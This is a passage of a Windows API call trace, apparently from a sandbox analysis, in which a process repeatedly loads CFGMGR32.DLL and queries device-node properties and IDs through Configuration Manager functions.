(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.899] malloc (_Size=0x18) returned 0x20abc281fa0 [0196.899] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x18, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0196.899] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x31203510, dwHighDateTime=0x1d9eb0c)) [0196.899] SetEvent (hEvent=0x248) returned 1 [0196.902] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.902] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.906] malloc (_Size=0x18) returned 0x20abc281dc0 [0196.906] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.906] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31203510, dwHighDateTime=0x1d9eb0c)) [0196.907] SetEvent (hEvent=0x248) returned 1 [0196.912] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.912] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.915] malloc (_Size=0x18) returned 0x20abc281e80 [0196.915] CM_Get_Device_IDA (in: dnDevInst=0x19, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0103\\0") returned 0x0 [0196.915] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x31229850, dwHighDateTime=0x1d9eb0c)) [0196.915] SetEvent (hEvent=0x248) returned 1 [0196.919] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.919] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.922] malloc (_Size=0x18) returned 0x20abc281ba0 [0196.923] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0196.923] malloc (_Size=0x5a) returned 0x20abc2807d0 [0196.923] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0196.924] free (_Block=0x20abc2807d0) [0196.924] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3124fb25, dwHighDateTime=0x1d9eb0c)) [0196.924] SetEvent (hEvent=0x248) returned 1 [0196.927] malloc (_Size=0x18) returned 0x20abc281ac0 [0196.927] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0196.927] free (_Block=0x20abc281ac0) [0196.927] malloc (_Size=0x18) returned 0x20abc281d80 [0196.927] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0196.927] free (_Block=0x20abc281d80) [0196.927] malloc (_Size=0x18) returned 0x20abc281a00 [0196.927] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0196.927] free (_Block=0x20abc281a00) [0196.927] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0196.927] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0196.927] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0196.928] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0196.928] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0196.928] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0196.928] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0196.928] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0196.928] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0196.928] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.928] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.929] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93460, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.930] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0196.931] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0196.931] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.931] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.934] malloc (_Size=0x18) returned 0x20abc281b00 [0196.934] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0196.935] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.935] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3124fb25, dwHighDateTime=0x1d9eb0c)) [0196.935] SetEvent (hEvent=0x248) returned 1 [0197.126] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.126] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.130] malloc (_Size=0x18) returned 0x20abc281e60 [0197.130] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.134] malloc (_Size=0x48) returned 0x20abc27cf80 [0197.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3143f8e5, dwHighDateTime=0x1d9eb0c)) [0197.134] SetEvent (hEvent=0x248) returned 1 [0197.138] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.138] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.138] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.141] malloc (_Size=0x18) returned 0x20abc281cc0 [0197.141] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.141] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31465a2d, dwHighDateTime=0x1d9eb0c)) [0197.142] SetEvent (hEvent=0x248) returned 1 [0197.145] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.145] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.148] malloc (_Size=0x18) returned 0x20abc281ee0 [0197.148] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.148] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31465a2d, dwHighDateTime=0x1d9eb0c)) [0197.149] SetEvent (hEvent=0x248) returned 1 [0197.152] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.152] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, 